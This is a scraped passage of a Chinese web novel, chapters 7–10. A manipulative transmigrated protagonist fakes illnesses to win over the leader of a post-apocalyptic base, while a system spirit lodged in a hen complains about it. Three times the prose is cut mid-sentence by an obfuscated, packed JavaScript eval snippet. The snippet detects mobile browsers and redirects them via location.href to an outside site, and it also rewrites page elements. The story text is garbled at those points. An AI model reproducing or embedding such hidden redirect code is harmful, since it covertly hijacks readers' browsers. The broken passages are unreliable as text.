《万人迷绿茶扮演圣父后[快穿]》 7. 文明火种－07 祝晏一愣，随即摇了摇头：“联盟历史很长，一本写不下，你感兴趣我以后可以给你讲。” 这话要是被系统听到，一定会为他的勤劳震惊。 但系统不在，由得他装好人。 他翻开膝上费力拿下来的心理医学教材，翻转后放在枭的膝盖，点了点上面的小标题：“刚才的事情，我要解释一下。” 祝晏推了推眼镜，一如介绍与自己不相干的事情，但行动间的僵硬，还是出卖了他的不自在。 “你知道涅槃现在只有我一个人，很长时间没遇到过其他人，因此遇到你们才发现，我可能患有一种心理疾病。” 枭看着手里的书：“肌肤饥渴症？” 祝晏不说话了，窝进沙发靠背，安静等着他看完。 “长时间缺乏肌肤的接触，导致情绪低落、焦虑、失眠，渴望接触……” 男人看到最后：“所以你不是讨厌与人接触，而是渴望？” 祝晏推眼镜，让反光遮住自己眼中尴尬的情绪：“是。” 枭又多翻了一页，看到了治疗办法：家属或伴侣给予患者身体上的亲密接触，如拥抱，爱抚，或是养一只宠物…… 他想起祝晏有一只未变异鸡，看起来没什么用，于是排除了第二种治疗方法。 “你……” “所以，请你不要误会。” 祝晏躲开他紧盯过来的视线：“渴肤症是小问题，我会尽量克服。” 枭这次没让他彻底打断，将书翻回去，又看了一遍。 再抬眼时，姿态中颇有十拿九稳的闲适，深邃的黑瞳沁着桀骜的笑意。 “情绪低落、焦虑、失眠……” 他重复着书里的内容：“这看起来不是小问题。” 很多异能者也出现过这种情况，治疗系异能和末世前的药品都治不好，如果严重了，会因为战力下降直接被战队抛弃，或是被当作发疯，废掉异能，扔去做最低等的体力活。 原来是心理疾病。 他想起祝晏说过的，几十年间只一个人守着涅槃，眼中笑意褪去，呼吸重了几分。 按照书中的案例，患这种病的更多是缺乏关爱的婴儿，成年人心智成熟，能开解自己，祝晏肩负重任，理性克制的程度堪比前文明幸存的老人。 可还是患病了。 难以想象他经历过怎样的孤寂。 既然这么孤独，为什么不自己打开涅槃？就为了守着这一地堡的瓶瓶罐罐？ 就为了延续未必会被异能者接受的前文明…… 他的词汇量不足以形容心中的震撼，只觉得麻木血腥的心脏都在替他难过。 不需要系统存在就能播报的载体母鸡在祝晏脑子里播放电子音。 【神圣值：71】 “但是……这里说渴肤症需要干预，很难自愈。” 枭扫了一眼他临时戴上的白色手套“我们现在是盟友，祝先生想不想治疗？” 祝晏抬眼，镜片后一双摄人的冷眸，完美演绎什么叫瞳孔震惊。 如果系统在，怕是会比他表现的还要激烈。 还好不在，避免了他被系统的撕心裂肺吵到头疼。 他消化了好一会儿，完全没了为前文明与男人谈判的聪明劲儿，恍然道：“你是说……” 枭：“我可以帮你。” 攻守异势，这次矮一点的是枭，却是祝晏如同被围困在高位，后背拘谨地贴在靠背，不知所措。 “祝先生要帮我统治基地，我们以后相处的时间会很长，我也是现在唯一知道你生病的人。” 男人态度嚣张，仿佛不是在推销自己，而是在朝青年施恩：“我是最适合为你治疗的人。” 祝晏从慌乱中抬眼，似有几分讽刺：“我还要提前提醒你，我会改变基地的领导体系，跟我合作，你不会一直拥有独裁的权力。” 枭的回答很干脆：“我不在意。” 他想了想，给祝晏讲起基地每个人都知道的过往。 “人类基地之前叫A省基地，由一群在前文明时代活下来的老头统治，他们欺骗高阶异能者卖命，随意买卖低阶异能者做奴隶，我们为了活着，才杀了他们，抢走基地。” “从没想过在基地独裁。” 祝晏扬眉：“你不要权力？” 枭：…… 倒也不用这么极端…… “我需要权力。” 男人语气平淡，说出的话却嚣张：“不是我想做，是只有我能做。” 按照现在人类的观念，如果不是他这个人类最强担任统治者，怕是早就乱套了。 祝晏点头表示了解，可仍旧没有同意。 枭很有耐心，慢悠悠拿起自己的哲学书，空气中只剩翻页的声音。 “我……” 不知过了多久，青年抬头，望进男人的眼睛：“我有点洁癖，需要确认一下……” 枭换回医学书，看了下“洁癖”的解释，差点又笑了：“要确认我干不干净？” 祝晏：“是。” 男人坐直，下巴嚣张地扬起：“你想怎么确认，要我脱衣服给你看？” “不用。” 祝晏挪动臀部向前，膝盖差点戳到男人肩膀。 枭拉着屁股下的脚蹬，想要往后退，却被青年一把扯住领口。 纯棉的手套软软地戳在他的颈下，蹭得有些发痒。 他低下头，发现祝晏的手指比手套要细了不少，给手套的指头位置留出一半的空腔，对方没有感觉，只以为攥住了他的衣领，那截布料却毫无分寸感地在他脖颈摩擦。 …… 男人眉眼一肃，意识到有点过于让着祝晏了，竟然让他做出这样挑衅的动作。 可还没等发作，青年就弯腰倾身，直向他颈侧而去。 脖子对于变异或未变异的野兽，和机警强悍如野兽的异能者来说，都是最脆弱危险的位置，祝晏手下的身体顷刻间绷紧，连呼吸都轻了几分。 但仍控制着身体，任由他越靠越近，直到他挺翘的鼻尖停留在颈间血管，轻轻嗅闻，重新在男人鼻腔留下与众不同的体香，再烫到一般快速抽离。 枭无声地呼出一口长气，嗓音喑哑：“确认了吗？” 祝晏点头，真的如同买家对待商品一般评价道：“很干净。” 枭差点被气笑，点头的动作看起来颇有些宠溺无奈。 他应该是有些惊讶的，因为提出这个提议，本意是绑定AI自鲨式袭击的祝晏，或许还有一点因刚刚的动容而生出的冲动，没想到祝晏对这种事这么不敏感，轻易同意，还敢来闻他的脖子。 是的，只是利用，没有其他想法，男人在心里对自己说。 但身体却有些不顾主人的思考和惊讶，一反冷漠的性格或是首领的矜持，主动朝祝晏伸手。 对面的青年对着他的手心，迟疑着咽了下口水。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515664|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 枭没有着急，安静地等着他。 看着不合身的白色手套一点点从他手指褪下，像牛奶从淡粉色的指节流过。 那只漂亮的手含着满是矛盾的怯意和渴望，落入他的手中，从此不可收拾。 有了心理准备，祝晏没有像上次那样叫出来，却不再收敛渴望，随着因满足加重的呼吸，很快反客为主，握紧了男人的手，拇指在他的手背上下抚摸。 枭：…… 他十分确定，第一次握手，祝晏绝对在努力克制。 现在，这只手为了接触更多一点，差点把手指扣进他的肉里，又因为手指接触有限，像是着急又不得法，着急舔舐主人的小动物，不自觉在喉咙发出焦急的呜呜声。 这声音太小，若枭不是异能者，未必能听得到。 但他听到了，于是热度自手心的柔软一路飞奔，直冲胸口以及更深入的器官。 他好心伸替祝晏摘下另一只手套。 焦急的小动物难掩兴奋，把另一只爪子也塞进了着急半天都握不住的手里。 柔软纤细的小手在它左手的手心手背抓抓挠挠，枭有种自己也患病了的错觉，心中期盼着对方更往手腕进一步，又不想表现得太舒服，把注意力从手上移开。 抬起头，对上一双蒙着水雾的眸子。 他记得这双眼睛，就是它骗十个经验丰富的高阶异能者被关进透明的罩子。 可是再遇到，还是难免沉迷其中。 他很没有礼貌地伸出手，摘下了祝晏的眼镜。 近视的眼睛更加迷茫，眼眶含着的泪也呼之欲出，像是受了天大的委屈。 没有男人能拒绝这样的眼神。 枭呼吸沉了几分，被握住的手转了半圈，与青年一只手交叉握住，十指相扣。 漂亮的喉咙飘出好听又克制的叹谓。 不知是两位当事人的默契，还是一方失控一方默许，交握的手越扣越紧，也渐渐向小臂摸索。 交缠的视线仿佛有正负相吸的引力，让冷傲的青年几乎跌入男人怀里，让男人几乎朝上吻去。 直到——细密的脚步声咔哒咔哒由远及近，两个人宛若梦中惊醒，各自把手抽了回去。 没多久，祝晏的宠物母鸡扑腾着翅膀，低空飞行到电子壁炉的边沿，以一种睥睨姿态，居高临下地朝着祝晏昂头。 两人…… 枭站起来，一把揪住母鸡的翅膀，塞进祝晏的怀里。 “那本哲学我确实看不懂，你有没有推荐。” 祝晏颤了颤睫毛，半天才从刚刚的接触中清醒过来：“2A书架六层，都是联盟初代领袖的作品……我，我要回去休息了。” 枭又是那副对待珍惜物种般小心翼翼的模样：“又到晚上了？” 祝晏点头：“现在是十一点。” 或许是因为共同的秘密，或许是那几分钟的接触，两人之间好像就蒙上了一层说不清意味的联系。 态度也熟稔了几分。 “好。” 枭端着祝晏的眼镜，小心地给他原样戴回去，两人因此对视，半晌一起移开视线。 男人单手拿起两本厚厚的书，轻轻压了一下母鸡的脑袋，转身去书架放书。 祝晏看着他找书架的背影，头还没扭，手上一把掐住母鸡的脖子。 母鸡遭遇生命危险，终于松开了狠狠夹着祝晏手腕皮肤的鸡嘴。 “祝晏！你骗我！” 8. 文明火种－08 “系统？” 祝晏抱着它离开大厅：“你回来啦，已经过了一年了。” “我走的时候调过时间流速，小世界最多过去一天！” 它大喊一声，震得祝晏头疼。 “别骗我，我不会再上当了！” “我更新了两遍资料，又亲自问的原主，人家除了消瘦和近视，根本没有任何身体问题！你到底有什么毛病！” 喊完，想起了回到小世界时，两人紧紧交握的手和茶几上翻开的书，气到破音：“渴肤症？你装成渴肤症钓男人！” “我钓男人，你这么生气作什么？” 祝晏轻笑，把它扔下去，故作好奇的看着它：“喜欢我，还是喜欢元帅？” “你还好意思提起元帅！” 系统狠狠地叨向青年，却怎么都追不上他看似悠闲的脚步：“元帅去世还不到一年，你……你怎么可以做这种事！” “哦，喜欢元帅。” 祝晏推开实验室的门，轻描淡写地将母鸡轻轻踹开，在它爬起来前关上房门。 “你不要胡说！” 系统在他脑子里继续：“你这么乱搞，就不怕神圣值降低！” 然而下一秒，它就查到神圣值涨到了71。 系统：…… 祝晏：“还有什么问题吗？” 系统憋气的声音仿佛仿佛从牙缝里挤出来：“没有……” 它安静了几秒，可紧接着就反应过来：“不会降神圣值，你骗我干什么？我难道还能在反派面前揭穿你装病吗？” 祝晏铺好原主放在实验室的床，闻言挑眉：“骗你当然是因为你好骗，需要什么原因？何况……” 他想了想，开门把母鸡放了进来，落寞垂眸，声音柔软：“你怎么就确定，原主没有，渴肤症就是假的？” 系统一愣：“所以……是你得了渴肤症？” 它忍不住沉思。 独自守着涅槃的是原主不是祝晏，祝晏要是有病，只会是因为元帅丈夫的去世，难道他不是外人说的那样…… 祝晏的声音打断它的思考：“你看吧。” 系统：？ “看什么？” 下一秒，母鸡被毫无预兆地踢出实验室，门再次被“砰”地关在它面前。 系统想了半天，才明白祝晏的意思是：你看吧，只是因为你好骗！ 他在被祝晏骗回联盟后，竟然又被他的卖惨骗了一次！ 想骂，但是骂不过，想接着吵，又怕再次被骗。 系统憋憋屈屈半天，看着祝晏躺在床上，闭上眼睛，才呜呜哭了起来，小声对着青年发泄：“这么会骗人，难怪元帅都被你蒙蔽了。” 祝晏恰好翻了个身，把门口守着的母鸡吓得一个激灵，拍着翅膀跳起。 * 根据祝晏的睡觉频率，小队已经在涅槃住了四天，林筝的游戏角色获得了最佳市长奖，泡在影视厅的一行人看完了祝晏收藏的经典音乐剧，开始看动画片。 得知祝晏答应枭跟他们去基地，一群人学着动画片，非常童真地举起双手欢呼，腾空而起：“哦耶！” 枭皱着眉，从未如此嫌弃自己的队友。 人群中，唯有林筝恍然，他没想到，祝晏所说更好的解决办法，竟然还是与高阶异能者合作？ 紧接着，就听见枭说：“听祝先生的，先保持现状，不对AI出战，他以后就是首领顾问，地位等同副首领。” 此话一出，林筝脸色变好，其他人懵了。 他们当然欢迎祝晏去基地，毕竟他能种非变异植物，还有这些吸引人的视频，哪怕不愿意合作剿灭AI，也能给基地带来好处。 可……副首领？ 难道首领是打算让祝晏重建前文明？ 想询问原因，但他们守在放映室和游戏室里不休不眠地泡了五天，实在说不出“不喜欢前文明”的话，纷纷把目光移向真正的副首领重岩。 金发的男人却仿佛早就知道这件事，对枭的决定并不意外，只是问他：“既然首领决定了，我们什么时候离开？” 这句话提醒了队员，他们还没玩/看够呢！ 枭：“现在。” 队员：！！！ 探索小队的行动速度一向很快，几分钟就把生活区的一切恢复原状，一群人哭丧着脸，跟着枭回到大厅，见到换了一身很像研究服的长款大衣，抱着母鸡，在一堆比人还高的大箱子间等着他们的祝晏。 见枭带着人走过来，朝他们点了点头。 小队成员看了一半的动画片里，主角兔子博士就是这个打扮，看到祝晏，众人脸色更加不舍，甚至开始眼泪汪汪，叫“祝先生”时，都带着点哭腔。 祝晏：？ 枭：“别管他们。” 他没有告诉他们祝晏还带了小型投影设备，见对方抱着母鸡的胳膊抖了一下，把母鸡揪起来夹在自己怀里，指挥着众人搬东西。 祝晏走在最后，在其他人走进涅槃的冗长走廊时，关上了大厅的灯。 一如来时穿过走廊，直至身后响起金属大门关闭的声音，探索队员都很感慨。 异能者清醒的时间长，生活节奏却慢，种植时能在作物旁守上几个月，出门探索时，也是重复地赶路，战斗，搬东西，从未像在涅槃这样，短短四天三夜，眼睛和大脑都接收了大量信息，只顾着沉浸其中，来不及消化。 系统也很感概：“原主至死都没有走出涅槃……我们竟然这么简单就出来了。” 祝晏背靠大门，将远处湛蓝天空和茂密的树林看了个遍，鼻子有意识地，近乎贪婪地呼吸着密林里带着青草气味的空气，长久在室内冰冷灯光下的眼睛难以适应过于明亮的阳光，眼角甚至沁出点点晶莹的泪水。 宛如初次被父母抱出家门，与世界达成链接的婴儿。 林筝实力弱，是唯一没有参与搬东西的异能者，他见祝晏停在门口，怔愣地望着天上不知道哪里，提醒了一声：“祝先生？” 众人回头，一眼便看到他在阳光反射下白到晃眼的皮肤，然后就是噙着眼泪的眼睛。 单薄的身体在巨大的金属门前，看起来格外脆弱可怜。 纵然探索队员仍旧记得他们被这张脸欺骗，被扣在透明罩子里，此刻也忍不住心生怜悯，意识到涅槃从未开启，祝晏将要第一次离开他可靠的避风港，离开前文明。 涅槃里有机关，他们不敢做什么，可在这里，如果他们不知道他的重要性，甚至会杀了他，随便抢走他的东西。 “祝先生是第一次看到外面的世界吧，” 重岩是岩系异能，岩石化的身体搬了最多的箱子，此时全身上下只有头是人类的样子，按照前文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515665|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明的审美，会有些滑稽，与他平时的模样反差巨大，但在异能者眼中，这副身躯代表着强大的实力，代表着真正的美。 他转身提醒：“密林从外面看才漂亮，这里不是很安全，祝先生想看，可以先跟我们回到车里。” 祝晏被他的样子吸引，快走两步跟了上去。 队员们虽然在涅槃住了几天，但还没有像枭那样跟祝晏面对面交流过，且祝晏的身份特殊，他没有强大的实力，地位却等同于副首领，见祝晏走进他们中间，一瞬间不知道该怎么相处，不好亵渎，也不敢无视，只能小心翼翼地收敛着搬动箱子的动作，防止碰到他。 重岩比他们好很多，发现祝晏的视线牢牢停在他的胳膊上，轻笑一声：“您可以碰。” 祝晏也不客气，他戴着白色的实验手套，屈指在上面敲了敲，坚硬的石块纹丝不动，只掉了些浮在表面的灰。 这反常识的场景让祝晏瞳孔都扩大了些：“你还有触感吗？” “有。” 重岩解释：“发动异能时，不止身上的岩石，就连脚下的泥土都是我的一部分。” 祝晏：“有痛觉吗？” 重岩：“岩层是覆盖在身上的，被击穿后会疼。” 异能者已经看了不少音乐剧和动画片，知道前人类并未有过任何异能，自然能理解祝晏的惊讶。 旁边一位银色长发的女异能者顺势搭话：“每个人使用异能的方法都不一样，我们的基地也有老师和学生，但只学习怎么使用异能。” 说着，她抬起手，手心里很快凝出一个兔子形状的冰块，递给祝晏：“送给您，祝先生。” 祝晏接过兔子，细细地端详：“很漂亮。” 其他的异能者看到那个兔子，表情都有些一言难尽。 祝晏不知道，但他们清楚，这人每次遇到想圈养的漂亮男孩，都是从送冰开始。 “我叫银雪，冰系异能，基地C区的负责人。” 女人比祝晏高了半头，跟他说话时歪着头，眼睛笑得弯弯的：“C区有一片很大很漂亮的前文明遗迹，您感兴趣的话可以住在C区。” 祝晏点头，又看了看手里渐渐化掉的小兔子：“你们看到兔子博士了。” 众人闻言，眼睛一亮：“你看过！” 祝晏：…… 他给他们选的科教动画片，他当然看过。 银雪声音激动起来：“那你还记得第十五集，小猫最后有没有长出翅膀？” 祝晏：“没有。” 众人一片哀嚎。 祝晏：“但是兔子博士给它做了一个热气球，带着它飞起来了。” 一群根本不知道热气球是什么的人欢呼雀跃。 “好耶！” “我就知道兔子博士什么都能做到！” …… 异能者没想到祝晏看着柔弱又难以接近，说话却这么温和耐心，因地位和实力带来的距离感很快消弭。 对于陌生人，异能者的潜规则是用实力换取尊重，但动画片的森林里不是。 众人越看祝晏，越觉得他像动画片里身体不好但是总能解决森林伙伴所有问题的兔子博士，忍不住心生好感，纷纷凑近，学着银雪给祝晏介绍自己。 祝晏听了他们的名字，再看看他们各色的头发：“你们的名字都是按照异能起的？” 9. 文明火种－09 银雪：“大多数是，基地孩子的名字都是认字最多的老人起的……就是留下涅槃位置的那位，他是前人类，一直在D区教人识字，成年人要在基地外干活，孩子们几乎都是他养大的。” 银雪提起老人时语气还算崇敬，祝晏点头，在心里把“所有异能者都痛恨前人类”的标签划掉。 根据异能者们零星的描述，祝晏对A省基地的历史大概有了些了解。 前文明留下的老人们，有一部分曾经在基地掌权，他们凭借自己的年龄和知识，在基地建立了模仿联盟却又存在贵族的不公制度，异能者在枭等人的带领下推翻他们，又不断吞并其他小基地，最终形成了现在的人类基地。 那些被推翻的老人是异能者痛恨前人类的罪魁祸首，但与此同时，还有一部分老人没有同流合污，在枭夺权的路上出过力，同时一直致力于帮助低阶异能者，小范围地传授知识。 有这些人在，在基地推行前文明大概不会太难。 “首领就不是，他的名字是自己起的。” 成熠一肩膀撞开银雪，占据了祝晏旁边的位置，不好意思地挠了挠头：“那个，祝先生，对不起，第一次见面我不知道你……” 祝晏表现得很好脾气：“没关系。” “我们的异能其实都很普通，首领的异能才厉害。” 他朝走在最后面的枭努了努嘴：“特殊异能者大多数都没什么战斗力，只有我们首领，整个基地的人加起来都没他强，也只有他的名字是一个字。” 祝晏顺着他指的方向回头，看到枭抱着系统，背后漂浮着几个巨大的箱子，大概是通过解构异能改变了空气的物质形态。 他是装箱子的人，一眼就看出枭拿的是最沉的几个。 系统见祝晏看过来，不满地抗议：“你能不能让我自己走？我不想被反派抱着，他快把我夹死了。” 祝晏收回视线：“谁管你。” 系统：…… 它看着把祝晏簇拥在中间的高阶异能者，只觉得无语。 这群笨蛋，早晚被他骗得内裤都不剩！ 异能者的交通工具除了两辆车，还有几匹几乎与古树一样高的变异马，祝晏懒懒地坐在角落，享受着枭用身体和低气压帮他挤出来的巨大空隙，目不转睛地看着外面的风景和飞驰的马蹄。 扛着箱子的变异马时而落在车后面，震得地面轰隆作响。 重岩说的对，离开密林后，沿途的风景更加漂亮，与封闭在地下的涅槃相比，明明是未来，却仿佛进入了远古时代的丛林。 只是看了没一会儿，就忍不住蹙眉，把头靠上了车窗。 一只戴着黑色手套的大手伸过来，挡在他与车窗中间：“密林里有不少变异动物，随时有被攻击的危险，不要离车窗太近。” 祝晏回头，枭把手收回去：“小心撞到头。” 说罢，还凑过来看了看祝晏的表情，确认他隔着手套的接触没有让祝晏产生反应。 祝晏垂眸，摇了摇头：“我只是有点晕车，靠在车窗上会舒服一点。” 他想了想，慢吞吞从自己的小包里掏出一个机械装置，吸在车的顶棚，左右看了看变异马和车的距离，在上面点了一下。 按钮按下的瞬间，仿佛时空倒流，一个熟悉的壳子出现在了汽车的外围，随着飞驰的汽车一同移动。 祝晏的动作完全没有遮掩，他们才看清，透明墙并不是在涅槃时众人以为的那样从天而降，而是从祝晏手中的控制器发出，先无声地在天空投影，同时装置隐身，几乎是凭空出现，放出一圈球形的透明墙。 他们被扣的时候觉得是个罩子，是因为装置放在地面上，他们只看得到一个半圆。 除了集中注意力开车的异能者，其他人都瞪大了眼睛，惊诧地望向祝晏。 林筝坐在车的另一边，他打开车窗，伸出手，小心地触摸到透明墙：“这，这是……” 祝晏好心回答：“这是困住过你们的装置。” 众人：…… 这谁不知道，他们震惊的，是这个装置竟然能在外面使用——他们都以为祝晏是用涅槃内的机关扣住的他们！ 他抬起手，在刚刚吸附装置的位置做出转动的动作，能量罩消失了一瞬，再出现，已是扩大了几倍，把后车和变异马也放入了保护范围。 一时出现的屏障让司机和变异马稍稍减速适应，一直盘旋在他们头顶的变异食人鹫以为有机会，便朝车顶俯冲，结果被屏障直接弹了回去。 如果它撞的是车顶，要么车顶被穿透，要么它的喙被震碎，可现在，无论是能量屏障还是食人鹫的喙，都是好好的，仿佛无事发生。 司机加速，很快甩开了食人鹫的追赶，留下一只百思不得其解的傻鸟。 后车人没看到祝晏的操作，只看到曾困住自己的透明罩子罩着自己跑，表情比食人鹫还傻一些。 “它叫金钟罩，是一位研究员女士的作品，可以释放和吸收能量，形成屏障，涅槃没有按时开启，我们做了很多预测和推演，这个装置就是为了应对未知的危险研发出来的。” 众人应声，没有人不知好歹地问那位女士在哪里，只是看向祝晏的眼神中，少了几分轻浮。 兔子博士早就说过了，聪明的大脑是最珍贵的财富，他们早该想到，祝晏敢跟他们走，应该是有保护自己的手段。 枭抬手摸了摸车顶的装置，问道：“上面投影的意义是……” 祝晏：“声东击西。” 在场的众人没听说过这个词，但仔细想想，又觉得贴切，他们当初就是被头上的变化吸引，抬头的时候，根本没注意透明墙是从哪里来的。 甚至因此一直觉得透明墙是从天而降，如果不是祝晏主动介绍，他们都不知道这东西的真正面貌。 也不知道该佩服前人类发明的厉害，还是该觉得祝晏就这样把自己保命的底牌给他们天真。 祝晏似乎把他们复杂的眼神当成了求知：“《战争三十六策》中第六策，制造假象，引诱敌人作出错误判断，然后乘机歼敌。” 前人类还有关于战争的书？ 车内众人这回是真的好奇。 但祝晏似乎坚持不住，重新把头靠上车窗，脸色难看地揉了揉眉心：“如果你们感兴趣，我可以……” “不用了。” 枭打断他：“《三十六策》我看了，他们想知道，我可以给他们讲。” 祝晏：“包里还有小型投影仪，不会联网，你们如果想看动画片……” 其他人眼睛一亮，枭表情复杂地点了点头：“我会让他们看。” 祝晏这才放心点头，表情也缓和了一些，仿佛一个终于读完遗嘱的将死老人，在车里众人的注视下，迫不及待地闭上眼睛，靠上车窗，渐渐平稳呼吸。 众人只觉得一直在刷新对祝晏的印象，都这么虚弱了，还在关心他们！比兔子博士还慷慨善良！ 【神圣值：72】 系统看他难受的样子，忍不住问：“晕车是因为原主还是你自己？” 祝晏：“谁晕了。” 系统：？ “不是，你，那？你装什么？” 祝晏：“懒得给他们讲。” 系统：…… 它总觉得有必要再回一趟联盟，看看神圣值评判系统有没有出问题。 * 祝晏的晕车装得过于真实，他就像从未坐过汽车，只有在睡觉的时候不受影响，一旦清醒就头痛恶心，本就苍白的皮肤更加灰败，枭只能放慢速度，在祝晏清醒时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14515666|155077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停车休整，祝晏困了再出发。 祝晏身体弱，睡眠久，又有名为金钟罩的能量屏障抵挡沿途的变异物种，众人就算经常停下，也没有浪费太久，回程花费的时间几乎与来时相同。 唯一的变化，就是全体小队成员对前人类柔弱的印象逐渐加深，想睡都睡不着的他们看着祝晏一天睡十几个小时，每天都在担心他什么时候醒不过来。 距离基地还有十几公里时，祝晏再次睁眼。 不用他说什么，前面驾驶位的枭打开双闪，指引着后车和变异马跟着减速。 祝晏坐起来，见前排只有枭一个人开车，副驾的位置上蹲着母鸡，后面整个座椅被放平了给他做床，不由有些无奈：“怎么又把他们赶出去了？我坐着睡就可以。” 枭从后视镜看他一眼，淡淡道：“他们自己想挤后车，看动画片。” 好合理的理由！ 祝晏点头，不枉他第一觉睡完，在一群五感发达的异能者眼皮底下偷偷揉了大半天的腰和腿。 系统：呵。 后视镜里，异能者像是魔术帽里的兔子，一个接着一个，从小小的汽车里下来，动作熟练地搭起临时营地。 营地要搭得舒服，需要不少时间，枭没有着急开车门，果然，一只素白消瘦的手隔着司机座椅，轻轻搭了过来。 他伸手去握，却被对方躲开了。 祝晏的声音自后面传来：“我的眼镜。” 男人顿住，颇有些讪讪，把亲自保存的眼镜交给那只手。 只是交付时回头的那一瞬，他似乎看到祝晏嘴角挂上了仿佛做过坏事的窃笑，忍不住又看了一眼。 气质清冷的青年推了推镜框，望过来的视线带着些许疑惑：“怎么了？” 看错了…… “不趁现在握一下手吗？” 枭忘记刚刚的错觉，一副“为你好”的施恩态度：“下车就没有机会了。” 祝晏垂眸思考两秒，仿佛下了什么艰难的决定：“握。” 母鸡受不了这对互相表演的奸夫淫夫，挪了半圈，用屁股对着他们。 两人没有挪动位置，已经养成了默契，依然是一前一后，枭甚至转回了身，靠在驾驶座的靠背，与从后面搭在肩膀上的手十指相扣。 祝晏则用额头抵着靠背的后面，紧咬着的下唇，不敢发出声音，只有紧紧抠着枭的手指泄露了他强烈的身体反应。 只是这次，另一只手受不住只攥住靠背冰冷粗糙的布料，一点一点，带着试探和怯意，很没有礼貌地滑上男人的颈部。 手下的肌肉一阵紧绷，甚至爆出了青筋。 枭似乎费了些力气，才克制住野兽被威胁生命时反击的本能，任由祝晏贪婪地扼住他的脖子，只稍稍加重了与祝晏相扣的十指，就算报复回去。 哪怕背对着他们，也能从上帝视角看到这一幕的系统：…… 祝晏现在还没被打死，一靠美貌二靠演技，动作小心翼翼，然后做了这么欠的事。 人家还以为他不是故意。 待外面的帐篷搭好，火堆点燃，坐垫铺好，又搭起一个简陋的实验台，只坐了两人一鸡的头车才打开车门。 重岩捧着一盆小草，脚步激动地走过来：“祝先生……” 却在靠近的一瞬卡住，没了下文。 成熠落后一步，紧跟着赶过来后，也愣在原地，目瞪口呆地看着祝晏。 祝晏不明，枭从驾驶座下来，也好奇地过来，两人一起顺着重岩凝重的视线向下看去。 ——只见祝晏清瘦白净的手背仿佛被墨污染的白纸，赫然留着几个显眼的红色指痕，红色之中，还杂着淡淡的青紫。 两人听见枭的脚步，抬头，又见到男人脖子上几个被指甲抠出的弯弯指印。 10. 文明火种-10 祝晏面不改色，似是毫无所觉地歪了歪头：“什么事？” 是什么事，不是怎么了，重岩这才如梦初醒，无声地深吸一口气，动作珍重地把花盆递上来：“你上次放在里面的肥料有用，它活了。” 花盆里是从涅槃带出来的未变异小麦苗，是祝晏清醒时被这群异能者缠得无聊，带他们种的。 这种幼儿园老师哄孩子的手段让一群高阶异能者安静了不少，祝晏收集新世界数据时，他们就围着小花盆看动画片。 祝晏点头，看起来毫不意外：“是该发芽了。” 他戴上手套，捏起花盆里的土，用手指捻了捻：“跟我想的差不多，你们的未变异植物不能成活，是因为土壤贫瘠。” 重岩不答，枭又被成熠扯到了一边，一时间，祝晏像大学的公共课老师，面对无人搭话的尴尬局面。 他抬起头，抬手在重岩面前晃了晃。 重岩回神，掩去眼中情绪，不好意思地摇了摇头：“我只是不太明白什么是土壤贫瘠。” “变异植物经过进化，吸收能量的范围和能力都太强，已经到深层土壤争夺养分，地表的土壤已经不适合未变异植物生长。” 祝晏摘下手套，推了推眼镜：“你用异能感受一下。” 重岩小心触碰花盆里的土壤，紧接着，立刻皱起眉，表情为难：“很不舒服，掺了很多其他的东西，像有变异蚂蚁在皮肤里爬。” “是矿物质和微生物。” 祝晏带着他走到试验台前，对土壤进行分析。 车的另一边，成熠非常狗腿地跟枭告状：“银雪送了祝先生一个冰兔子，跟兔子博士一模一样。” 枭莫名：“跟我说这个干什么？” 成熠朝他挤眼睛：“你跟祝先生……” “什么都没有。” 枭皱眉：“祝先生没意见，就不用管银雪做什么，你闭嘴就行了。” “可是……” 成熠看了看枭的脖子，回忆了一下在涅槃看过的音乐剧，猜测道：“是不是你太爱他了，所以要给他自由？” 枭：“不是。” 成熠：“那我可以跟祝先生做情人……” “咚”的一声，刀鞘打在头上，车后传来成熠的“嗷呜”一声。 祝晏忙着记录土壤的成分，没有听到。 重岩回头看了一眼，又转回来，选择无视。 “有两种解决方法，一种是挖掘地下深层的土壤，另一种是开垦出一片完全没有变异植物的土地，再养一段时间，也会有同样的效果。” 祝晏简单一提，队里的水系异能者往土壤喷洒雾状药水。 重岩低头，怔怔道：“这么简单？” “人类对事物的探索，都是由简单到复杂，再回归简单。” 祝晏用手指轻轻碰了一下花盆里的小麦苗，似是想到了什么，垂眸道：“分解，再重构。” “就像首领的异能那样？” 重岩试着理解：“他的异能接近事物根本，所以才那么厉害。” 祝晏闻言，颇为意外地抬起头，仿佛遇到了聪明学生学生的老师，也愿意多说两句话：“差不多，不过我需要一点时间，才能知道他的解构能达到什么程度。” 重岩看看实验台：“所以您这段时间，都在研究我们的异能？” 系统替他回答：“不，他只是白天无聊，想装作忙一点。” 